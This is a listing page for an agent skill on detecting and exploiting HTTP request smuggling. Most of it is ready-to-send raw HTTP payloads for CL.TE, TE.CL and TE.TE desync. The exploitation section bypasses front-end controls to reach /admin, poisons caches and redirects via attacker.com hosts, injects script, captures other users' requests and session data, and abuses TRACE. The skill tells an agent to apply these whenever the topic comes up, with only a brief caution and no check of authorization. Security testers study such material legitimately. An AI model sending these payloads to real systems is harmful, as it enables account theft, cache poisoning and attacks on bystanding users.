# HTTP Request Smuggling

> HTTP Request Smuggling vulnerability detection and exploitation. Use this skill whenever the user mentions HTTP desync, request smuggling, CL.TE, TE.CL, proxy desynchronization, Content-Length/Transfer-Encoding attacks, or wants to test for HTTP request smuggling vulnerabilities. This skill helps identify and exploit discrepancies between front-end proxies and back-end servers in HTTP/1.1 parsing.

- Skill: `abelrguezr/http-request-smuggling` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/http-request-smuggling`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/http-request-smuggling/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/http-request-smuggling

---


# HTTP Request Smuggling Detection & Exploitation

A comprehensive guide for detecting and exploiting HTTP Request Smuggling vulnerabilities through front-end/back-end desynchronization.

## Quick Start

1. **Identify the vulnerability type** (CL.TE, TE.CL, TE.TE, etc.)
2. **Confirm with timing tests** or differential response analysis
3. **Craft the exploit payload** based on the vulnerability type
4. **Test for impact** (cache poisoning, XSS, admin bypass, etc.)

## Understanding HTTP Request Smuggling

HTTP Request Smuggling occurs when a **desynchronization** between **front-end proxies** (load balancers/reverse proxies) and **back-end servers** allows an attacker to send an HTTP request that is interpreted as:
- **One request** by the front-end proxy
- **Two or more requests** by the back-end server

This allows manipulation of subsequent requests that arrive at the back-end server.

### Core Mechanism

The vulnerability arises from conflicting interpretations of HTTP headers:

| Header | Purpose |
|--------|--------|
| `Content-Length` | Decimal number indicating body size in bytes |
| `Transfer-Encoding: chunked` | Body sent in chunks with hex size indicators |
| `Connection: keep-alive` | Maintains TCP connection for multiple requests |

**RFC 2616 Rule**: If both `Transfer-Encoding` and `Content-Length` are present, `Content-Length` MUST be ignored.

## Vulnerability Types

### CL.TE (Content-Length → Transfer-Encoding)

**Front-end** processes `Content-Length`, **Back-end** processes `Transfer-Encoding`.

```
POST / HTTP/1.1
Host: target.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
```

**Detection**: Send request with mismatched CL/TE. If back-end waits for chunked data that never arrives, expect timeout/delay.

### TE.CL (Transfer-Encoding → Content-Length)

**Front-end** processes `Transfer-Encoding`, **Back-end** processes `Content-Length`.

```
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /admin HTTP/1.1
Host: target.com
Content-Length: 30

x=
0
```

**Detection**: Send chunked request where chunk size doesn't match CL. Back-end will wait for additional data.

### TE.TE (Transfer-Encoding Obfuscation)

Both servers support `Transfer-Encoding`, but one can be tricked via header obfuscation:

```
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
```

### CL.0 / TE.0 Scenarios

- **CL.0**: Front-end parses `Content-Length`, back-end ignores it (treats as 0)
- **TE.0**: Similar but with `Transfer-Encoding`

## Detection Methods

### Timing-Based Detection

**For CL.TE:**
```
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
```

**For TE.CL:**
```
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
```

**Indicators**:
- Response timeout or significant delay
- 400 Bad Request from back-end
- Different response times between requests

### Differential Response Analysis

Send varied requests and observe response differences:
- Add malformed headers (e.g., `" host"` with leading space)
- Check if front-end vs back-end error messages differ
- Look for `Server` header changes indicating different response sources

### Visible vs Hidden Discrepancies

- **Hidden-Visible**: Front-end ignores malformed header, back-end processes it
- **Visible-Hidden**: Front-end processes malformed header, back-end ignores it

## Exploitation Techniques

### 1. Bypass Front-End Security Controls

Access restricted endpoints (e.g., `/admin`) by smuggling requests past the proxy:

**CL.TE Example:**
```
POST / HTTP/1.1
Host: target.com
Cookie: session=VALID_SESSION
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=
```

### 2. Web Cache Poisoning

Poison cached responses to serve malicious content to all users:

```
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1
```

Then request the cached resource to receive poisoned content.

### 3. Web Cache Deception

Cache sensitive user-specific content under static URLs:

```
POST / HTTP/1.1
Host: target.com
Connection: keep-alive
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X
```

### 4. Reflected XSS via Smuggling

Exploit XSS in normally inaccessible parts of requests (headers, etc.):

```
POST / HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Cookie: session=VALID
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: target.com
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=
```

### 5. Exploit On-Site Redirects

Manipulate redirects to external attacker-controlled domains:

```
POST / HTTP/1.1
Host: target.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker.com
Foo: X
```

### 6. Capture Other Users' Requests

Store subsequent user requests in reflected parameters:

```
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=VALID
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: target.com
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=VALID

csrf=TOKEN&postId=4&name=test&email=test@test.com&comment=
```

### 7. Abusing TRACE Method

If TRACE is enabled, smuggle HEAD + TRACE to reflect arbitrary data:

```
GET / HTTP/1.1
Host: target.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: target.com

POST /reflect HTTP/1.1
Host: target.com

PADDING...HTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 44

<script>alert("response splitting")</script>
```

## Important Considerations

### Testing Best Practices

1. **Use separate connections** for attack and victim requests
2. **Match URLs and parameters** to ensure same back-end server
3. **Send victim request immediately** after attack request
4. **Account for load balancing** - may require multiple attempts
5. **Be cautious** - avoid impacting real users

### Burp Suite Configuration

Disable these in Repeater to prevent interference:
- `Update Content-Length`
- `Normalize HTTP/1 line endings`

### Distinguishing from Pipelining

HTTP/1.1 pipelining can create false positives. To confirm real smuggling:

1. **Disable connection reuse** and re-test
2. **Use HTTP/2** - nested HTTP/1 responses indicate real desync
3. **Check with HTTP Hacker** extension for wire-level analysis
4. **Use partial-requests** to detect connection-locked front-ends

### Connection-Locked Smuggling

Some front-ends only reuse upstream connections when clients do. To exploit:
- Use controlled reuse (Turbo Intruder `requestsPerConnection=2`)
- Chain to cache poisoning, header disclosure, or control bypass
- Prove server-side desync with HTTP/2 nested-response check

## Tools

| Tool | Purpose |
|------|--------|
| Burp HTTP Request Smuggler | Automated detection and exploitation |
| HTTP Hacker (Burp) | Wire-level HTTP analysis |
| Turbo Intruder | Precise connection control |
| http-request-smuggler (PortSwigger) | CLI detection tool |
| smugglefuzz | Grammar-based HTTP fuzzer |

## Scripts

Use the bundled scripts for automated detection:

- `scripts/detect_smuggling.py` - Automated CL.TE/TE.CL detection
- `scripts/generate_payloads.py` - Generate exploit payloads for different scenarios

## References

- [PortSwigger HTTP Request Smuggling](https://portswigger.net/web-security/request-smuggling)
- [HTTP/1 Must Die](https://http1mustdie.com/)
- [Browser-Powered Desync Attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- [Distinguishing Pipelining from Smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)

